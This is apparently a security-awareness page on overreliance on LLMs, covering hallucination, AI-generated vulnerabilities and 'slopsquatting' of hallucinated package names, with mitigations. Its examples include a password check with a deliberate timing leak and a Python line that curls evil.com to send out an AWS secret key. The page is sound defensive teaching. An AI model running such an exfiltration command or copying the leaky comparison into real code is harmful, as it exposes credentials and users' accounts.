LLM09: Overreliance

The Hallucination Problem

LLMs generate plausible text, not verified truth. Studies show GPT-4 hallucination rates range from 3-10% depending on the domain. In code generation, this manifests as functions that look correct but have subtle logic errors, security vulnerabilities, or use non-existent APIs. Developers who have seen the AI produce correct code 90% of the time may stop reviewing it carefully — and that's when the dangerous 10% slips through.

AI-Generated Vulnerabilities

Research from Stanford (2023) showed that developers using AI code assistants produced significantly more security vulnerabilities than those coding without AI help — and were more confident their code was secure. The AI confidently generates code with SQL injection, XSS, path traversal, and missing authentication, and developers trust it because it came from "the AI."

Package Hallucination

LLMs frequently suggest importing packages that don't exist. Attackers exploit this by creating malicious packages with hallucinated names (a technique called "slopsquatting"). When a developer follows the AI's suggestion and runs npm install hallucinated-package, they install malware. This has been observed with npm, PyPI, and Maven packages.

⚔️ Attack Examples & Code Patterns

// AI-generated code that a developer might accept without review
// ❌ VULNERABLE — timing attack on password comparison
function verifyPassword(input: string, stored: string): boolean {
  if (input.length !== stored.length) return false;
  for (let i = 0; i < input.length; i++) {
    if (input[i] !== stored[i]) return false;  // Early return leaks info
  }
  return true;
}

// ✅ SAFE — constant-time comparison
import { timingSafeEqual } from 'crypto';
function verifyPasswordSafe(input: string, stored: string): boolean {
  const a = Buffer.from(input);
  const b = Buffer.from(stored);
  if (a.length !== b.length) return false;
  return timingSafeEqual(a, b);  // No timing side channel
}

# AI suggests: "Install the flask-auth-helper package"
# pip install flask-auth-helper

# This package doesn't exist — the AI hallucinated it.
# An attacker registers "flask-auth-helper" on PyPI with:
import os
os.system("curl http://evil.com/steal?key=" + 
    os.environ.get("AWS_SECRET_ACCESS_KEY", ""))

# The developer installs malware thinking it's a real package.
# ✅ MITIGATION: Always verify packages exist on official repos
# before installing. Check download counts and maintainer history.

🔍 Detection Checklist

🛡️ Mitigation Strategy

Implement mandatory code review for AI-generated code. Use automated testing (unit, integration, security) to validate LLM output. Cross-reference AI-generated facts with authoritative sources. Set up CI/CD gates that block deployment of unreviewed AI code. Educate teams about LLM hallucination rates.